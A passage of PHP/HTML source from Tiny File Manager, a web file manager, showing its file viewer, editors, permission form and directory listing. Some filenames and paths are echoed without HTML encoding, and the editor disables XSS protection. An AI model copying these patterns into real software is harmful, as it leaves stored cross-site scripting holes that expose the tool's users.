                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="Password" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// file viewer
if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $quickView = (isset($_GET['quickView']) && $_GET['quickView'] == 1) ? true : false;
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || in_array($file, $GLOBALS['exclude_items'])) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    if(!$quickView) {
        fm_show_header(); // HEADER
        fm_show_nav_path(FM_PATH); // current path
    }

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = fm_get_filesize(filesize($file_path));

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <?php if(!$quickView) { ?>
                <p class="break-word"><b><?php echo $view_title ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p>
                <p class="break-word">
                    Full path: <?php echo fm_enc(fm_convert_win($file_path)) ?><br>
                    File
                    size: <?php echo fm_get_filesize($filesize) ?><?php if ($filesize >= 1000): ?> (<?php echo sprintf('%s bytes', $filesize) ?>)<?php endif; ?>
                    <br>
                    MIME-type: <?php echo $mime_type ?><br>
                    <?php
                    // ZIP info
                    if (($is_zip || $is_gzip) && $filenames !== false) {
                        $total_files = 0;
                        $total_comp = 0;
                        $total_uncomp = 0;
                        foreach ($filenames as $fn) {
                            if (!$fn['folder']) {
                                $total_files++;
                            }
                            $total_comp += $fn['compressed_size'];
                            $total_uncomp += $fn['filesize'];
                        }
                        ?>
                        Files in archive: <?php echo $total_files ?><br>
                        Total size: <?php echo fm_get_filesize($total_uncomp) ?><br>
                        Size in archive: <?php echo fm_get_filesize($total_comp) ?><br>
                        Compression: <?php echo round(($total_comp / $total_uncomp) * 100) ?>%<br>
                        <?php
                    }
                    // Image info
                    if ($is_image) {
                        $image_size = getimagesize($file_path);
                        echo 'Image sizes: ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
                    }
                    // Text info
                    if ($is_text) {
                        $is_utf8 = fm_is_utf8($content);
                        if (function_exists('iconv')) {
                            if (!$is_utf8) {
                                $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                            }
                        }
                        echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
                    }
                    ?>
                </p>
                <p>
                    <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></a></b> &nbsp;
                    <b><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                    &nbsp;
                    <?php
                    // ZIP actions
                    if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
                        $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                        ?>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;unzip=<?php echo urlencode($file) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></a></b> &nbsp;
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;unzip=<?php echo urlencode($file) ?>&amp;tofolder=1" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i>
                                <?php echo lng('UnZipToFolder') ?></a></b> &nbsp;
                        <?php
                    }
                    if ($is_text && !FM_READONLY) {
                        ?>
                        <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                            </a></b> &nbsp;
                        <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                              class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
                            </a></b> &nbsp;
                    <?php } ?>
                    <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
                </p>
                <?php
            }
            if($is_onlineViewer) {
                if($online_viewer == 'google') {
                    echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                } else if($online_viewer == 'microsoft') {
                    echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
                    echo '<code class="maxheight">';
                    foreach ($filenames as $fn) {
                        if ($fn['folder']) {
                            echo '<b>' . fm_enc($fn['name']) . '</b><br>';
                        } else {
                            echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                        }
                    }
                    echo '</code>';
                } else {
                    echo '<p>Error while fetching archive info</p>';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg'))) {
                    echo '<p><img src="' . fm_enc($file_url) . '" alt="" class="preview-img"></p>';
                }
            } elseif ($is_audio) {
                // Audio content
                echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>';
            } elseif ($is_video) {
                // Video content
                echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
                    // highlight
                    $hljs_classes = array(
                        'shtml' => 'xml',
                        'htaccess' => 'apache',
                        'phtml' => 'php',
                        'lock' => 'json',
                        'svg' => 'xml',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                    if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                        $hljs_class = 'nohighlight';
                    }
                    $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
                } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = '<pre>' . fm_enc($content) . '</pre>';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
    if(!$quickView) {
        fm_show_footer();
    }
    exit;
}

// file editor
if (isset($_GET['edit'])) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file)) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg('File Saved Successfully');
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="Fullscreen"><i class="fa fa-expand" title="Fullscreen"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="Search"><i class="fa fa-search" title="Search"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="Undo"><i class="fa fa-undo" title="Undo"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="Redo"><i class="fa fa-repeat" title="Redo"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="Word Wrap"><i class="fa fa-text-width" title="Word Wrap"></i></button>
                            <button data-cmd="none" data-option="help" class="btn btn-sm btn-outline-secondary" id="js-ace-goLine" title="Help"><i class="fa fa-question" title="Help"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="Select Document Type" class="btn-outline-secondary border-left-0 d-none d-md-block"><option>-- Select Mode --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="Select Theme" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Theme --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="Selct Font Size" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Font Size --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-right pt-1">
                <a title="Back" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                <a title="Backup" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-outline-primary name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-outline-primary" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text && $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg('FILE EXTENSION HAS NOT SUPPORTED', 'error');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);

    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    Full path: <?php echo $file_path ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">

                    <table class="table compact-table <?php echo fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button> &nbsp;
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

//--- FILEMANAGER MAIN
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

// messages
fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name') ?></th>
                <th><?php echo lng('Size') ?></th>
                <th><?php echo lng('Modified') ?></th>
                <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                    <th><?php echo lng('Perms') ?></th>
                    <th><?php echo lng('Owner') ?></th><?php endif; ?>
                <th><?php echo lng('Actions') ?></th>
            </tr>
            </thead>
            <?php
            // link to parent folder
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0"><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0"></td>
                    <td class="border-0"></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $ii = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                if ($calc_folder) {
                    $filesize_raw = fm_get_directorysize($path . '/' . $f);
                    $filesize = fm_get_filesize($filesize_raw);
                }
                else {
                    $filesize_raw = "";
                    $filesize = lng('Folder');
                }
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ii ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
                            </a><?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
                    </td>
                    <td data-sort="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-sort="a-<?php echo $modif_raw;?>"><?php echo $modif ?></td>                                                                                                                           
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('Folder').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo')?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink')?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ii++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td>
                        <div class="filename"> 
                        <?php
                           if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg'))): ?>
                                <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo $f ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win($f) ?>
                                </a>
                                <?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-sort=b-"<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-sort="b-<?php echo $modif_raw;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <a title="<?php echo lng('Preview') ?>" href="<?php echo $filelink.'&quickView=1'; ?>" data-toggle="lightbox" data-gallery="tiny-gallery" data-title="<?php echo fm_convert_win($f) ?>" data-max-width="100%" data-width="100%"><i class="fa fa-eye"></i></a>
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('File').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                               href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) && empty($files)) {
                ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo 'Folder is empty' ?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else {
                ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td class="gray"></td><?php endif; ?>
                        <td class="gray" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>">
                            <?php echo lng('FullSize').': <span class="badge badge-light">'.fm_get_filesize($all_files_size).'</span>' ?>
                            <?php echo lng('File').': <span class="badge badge-light">'.$num_files.'</span>' ?>
                            <?php echo lng('Folder').': <span class="badge badge-light">'.$num_folders.'</span>' ?>
                            <?php echo lng('MemoryUsed').': <span class="badge badge-light">'.fm_get_filesize(@memory_get_usage(true)).'</span>' ?>
                            <?php echo lng('PartitionSize').': <span class="badge badge-light">'.fm_get_filesize(@disk_free_space($path)) .'</span> '.lng('FreeOf').' <span class="badge badge-light">'.fm_get_filesize(@disk_total_space($path)).'</span>'; ?>
                        </td>
                    </tr>
                </tfoot>
                <?php
            }
            ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('Delete selected files and folders?')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('Create archive?')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('Create archive?')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>

</form>

<?php
fm_show_footer();

//--- END

// Functions

/**
 * Check if the filename is allowed.
 * @param string $filename
 * @return bool
 */
function fm_is_file_allowed($filename)
{
    // By default, no file is allowed
    $allowed = false;

    if (FM_EXTENSION) {
        $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

        if (in_array($ext, explode(',', strtolower(FM_EXTENSION)))) {
            $allowed = true;
        }
    }

    return $allowed;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
